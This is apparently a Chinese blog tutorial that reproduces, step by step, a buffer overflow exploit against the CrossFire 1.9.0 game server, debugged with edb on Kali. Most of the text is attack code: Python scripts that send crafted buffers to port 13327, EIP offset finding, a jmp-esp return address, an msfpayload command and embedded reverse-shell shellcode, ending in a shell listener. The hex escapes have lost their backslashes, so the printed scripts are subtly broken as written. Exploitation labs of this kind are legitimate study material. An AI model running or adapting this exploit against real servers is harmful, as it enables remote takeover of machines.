zoukankan      html  css  js  c++  java
  • kali linux之edb--CrossFire缓冲区溢出

    漏洞的罪恶根源------变量,数据与代码边界不清,开发人员对用户输入没做过滤,或者过滤不严

    如这个脚本,写什么,显示什么,但是加上;,|,&&,后面加上系统命令,就执行命令了

     

    缓冲区溢出:

    当边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被撑爆,从而覆盖了相邻内存区域的数据,成功修改i内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

    如何发现漏洞?

    源码审计(代码审计),逆向工程(动态调试),模糊测试------(向程序堆栈半随机的数据,根据内存变化判断溢出,数据生成器--生成随机,半随机数据,测试工具--识别溢出漏洞)

    实例(没下载到CrossFire,而且我物理机也是2019版的kali,就借鉴一下这个老哥的:https://www.cnblogs.com/systemVITO/p/9246752.html)

    CrossFire

    多人在线RPG游戏

    1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞 (服务端)

    调试工具

    edb

    运行平台kali 2.0 x64虚拟机

    Linux中内存保护机制

    DEP

    ASLR

    堆栈 cookies

    堆栈粉碎

    创建/usr/games/目录,将crossfire1.9.0服务端解压到目录

    运行./crossfire

    开启调试

    edb --run /usr/games/crossfire/bin/crossfire 

    右下角是paused暂停状态

    菜单栏 Debug => Run(F9) 点击两回可以运行起来

    可以通过命令查看程序端口信息

     

    查看开放端口

    netstat -pantu | grep 13327

    EIP中存放的是下一条指令的地址

    这个程序和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以,我们构造如下python程序测试

    #! /usr/bin/python
    import socket   #导入模块
    host = "127.0.0.1"  #主机
    crash = "x41" * 4379       ##要发送的crash字符为 x41为十六进制的大写A
    buffer = "x11(setup sound " + crash + "x90x00#"   ##实际发送给服务器的数据 x90是NULL,x00是空字符
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #建立连接对象
    print "[*]Sending evil buffer..."
    s.connect((host,13327)) #和主机的13327建立连接
    data = s.recv(1024)
    print data
    s.send(buffer) ##建立完成后发送buffer
    s.close()
    print "[*]Payload Sent!"

    运行后,edb报错如下

    意思是EIP(存放一下条执行命令的地址)已经被覆盖成上图黑体中的地址,而计算机找不到这个地址。这个地址正是由我们输入的A,说明EIP可控,存在溢出。

    这里你也可以测试增加一个A或者减少一个A发送,会发现后边两个数值都不是A,都不可控,也就是说数据量只有为4379时EIP才完全可控

    为了查看到底是哪个位置的A才是溢出后的EIP地址,借助工具生成唯一字符串

    cd /usr/share/metasploit-framework/tools/exploit/

    ./pattern_create.rb -l 4379

    复制下来,构造如下python脚本

    #! /usr/bin/python
    import socket
    host = "127.0.0.1"
    crash = "唯一字符串"
    buffer = "x11(setup sound " + crash + "x90x00#"
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    print "[*]Sending evil buffer..."
    s.connect((host,13327))
    data = s.recv(1024)
    print data
    s.send(buffer)
    s.close()
    print "[*]Payload Sent!"

    开启edb启动程序,运行python程序

    利用工具确认字符串的位置

    cd /usr/share/metasploit-framework/tools/exploit/

    ./pattern_offset.rb -q 46367046

    就是说EIP地址前面有4368个字符。   4369,4370,4371,4372的位置存放的是溢出后的EIP地址

    我们构造如下python脚本验证

    #! /usr/bin/python
    import socket
    host = "127.0.0.1"
    crash = 'A'*4368 + 'B'*4 + 'C'*7   ## 凑够4379个字符
    buffer = "x11(setup sound " + crash + "x90x00#"
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    print "[*]Sending evil buffer..."
    s.connect((host,13327))
    data = s.recv(1024)
    print data
    s.send(buffer)
    s.close()
    print "[*]Payload Sent!"

    可以看到EIP地址被精准的填充为B字符


     

    右键ESP,选择 Follow In Dump 查看数据

     

    因为必须是精确的字符才能溢出,就是说ESP寄存器只能存放7个字符,显然无法存放shellcode

    几个寄存器都查看后,选择了EAX。因为EAX存放的是我们之前发送的几千个A,是可控的,且有足够的大小存放shellcode

    思路就是让EIP存放EAX的地址,然后在地址上加12,直接从第一个A的位置开始执行。但是各个机器的EAX的地址也各不相同,不具有通用性,所以直接跳转的思路就放弃。

    既然ESP可以存放7个字符,想到了跳转EAX并偏移12

     

    #! /usr/bin/python
    import socket
    host = "127.0.0.1"
    crash = 'A'*4368 + 'B'*4 + 'x83xc0x0cxffxe0x90x90'
    buffer = "x11(setup sound " + crash + "x90x00#"
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    print "[*]Sending evil buffer..."
    s.connect((host,13327))
    data = s.recv(1024)
    print data
    s.send(buffer)
    s.close()
    print "[*]Payload Sent!"

    首先EIP地址仍然是精准的四个B

     

    ESP => Follow In Dump 查看

    83 c0 0c ff e0 90 90 说明这里也完美写入

    思路就是EIP => ESP => EAX,EAX存放shellcode,因为ESP地址不固定,需要借助固定的地址跳转

    打开edb,菜单栏 Plugins => OpcodeSearcher => OpcodeSearch

    选择crossfire程序,ESP -> EIP,选择一个jmp esp 的地址,这个地址是不会变的

    菜单栏 plugin => breakpointmanager => breakpoints 选择add增加我们上边选择的地址的断点用来测试。

    然后我们测试坏字符,经过测试坏字符是x00x0ax0dx20

    生成shellcode并过滤坏字符

    cd /usr/share/framework2/ ./msfpayload -l #可以生成的shellcode的种类

    ./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "x00x0ax0dx20" 

     构建python脚本

     import socket
    host = "127.0.0.1"
    shellcode = (
    "xbbx6dx65x9bxcdxdbxddxd9x74x24xf4x5fx2bxc9"+
    "xb1x14x83xc7x04x31x5fx10x03x5fx10x8fx90xaa"+
    "x16xb8xb8x9exebx15x55x23x65x78x19x45xb8xfa"+
    "x01xd4x10x92xb7xe8x85x3exd2xf8xf4xeexabx18"+
    "x9cx68xf4x17xe1xfdx45xacx51xf9xf5xcax58x81"+
    "xb5xa2x05x4cxb9x50x90x24x85x0exeex38xb0xd7"+
    "x08x50x6cx07x9axc8x1ax78x3ex61xb5x0fx5dx21"+
    "x1ax99x43x71x97x54x03")

    crash = shellcode + "A"*(4368-105) + "x97x45x13x08" + "x83xc0x0cxffxe0x90x90"
    buffer = "x11(setup sound " +crash+ "x90x90#)"
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    print "[*]Sending evil buffer..."
    s.connect((host,13327))
    data = s.recv(1024)
    print data
    s.send(buffer)
    s.close()
    print "[*]Payload Sent!"

    监听本地的4444端口,即可获取一个shell

    友情链接 http://www.cnblogs.com/klionsec

                   http://www.cnblogs.com/l0cm

                   http://www.cnblogs.com/Anonyaptxxx

                   http://www.feiyusafe.cn

  • 相关阅读:
    2.Spring Boot 有哪些优点?
    3.什么是 JavaConfig?
    4.如何重新加载 Spring Boot 上的更改,而无需重新启动服务器?
    Java中的异常处理机制的简单原理和应用。
    垃圾回收的优点和原理。并考虑2种回收机制。
    我们在web应用开发过程中经常遇到输出某种编码的字符,如iso8859-1等,如何输出一个某种编码的字符串?
    Request对象的主要方法:
    JSP的内置对象及方法。
    Servlet执行时一般实现哪几个方法?
    说说你所熟悉或听说过的j2ee中的几种常用模式?及对设计模式的一些看法
  • 原文地址:https://www.cnblogs.com/Hydraxx/p/10422848.html
Copyright © 2011-2022 走看看